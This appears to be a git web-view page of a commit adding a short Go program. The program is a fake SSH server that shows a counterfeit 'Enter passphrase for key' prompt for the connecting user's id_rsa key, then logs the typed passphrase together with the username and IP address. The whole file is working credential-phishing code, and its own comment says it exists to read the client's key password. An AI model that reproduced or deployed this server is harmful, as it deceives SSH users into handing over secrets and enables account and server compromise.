about summary refs log tree commit diff
path: root/main.go
diff options
context:
space:
mode:
Diffstat (limited to 'main.go')
-rw-r--r--main.go50
1 files changed, 50 insertions, 0 deletions
diff --git a/main.go b/main.go
new file mode 100644
index 0000000..b2b2ae4
--- /dev/null
+++ b/main.go
@@ -0,0 +1,50 @@
+package main
+
+import (
+    "fmt"
+    "github.com/gliderlabs/ssh"
+    "log"
+    "strings"
+)
+
+func main() {
+    ssh.Handle(handleConnection)
+    listenErr := ssh.ListenAndServe(":2222", nil)
+
+    if listenErr != nil {
+        log.Fatalln(listenErr.Error())
+    }
+}
+
+func handleConnection(s ssh.Session) {
+    // Set up buffer
+    buf := make([]byte, 1)
+
+    // Send our message
+    fmt.Fprintf(s, "Enter passphrase for key '/home/%s/.ssh/id_rsa': ", s.User())
+
+    // Read id_rsa password of our client ;)
+    var readErr error
+    strBuf := ""
+
+    for readErr == nil && !strings.Contains(strBuf, "\x0D") {
+        _, readErr = s.Read(buf)
+
+        if string(buf[0]) != "\x0D" {
+            strBuf += string(buf[0])
+        } else {
+            break
+        }
+    }
+
+    if readErr == nil {
+        // Print out pass
+        log.Printf("%s@%s: '%s'", s.User(), s.RemoteAddr().String(), strBuf)
+    } else {
+        // Read error - just log that.
+        log.Println(readErr.Error())
+    }
+
+    // And close it.
+    s.Exit(1)
+}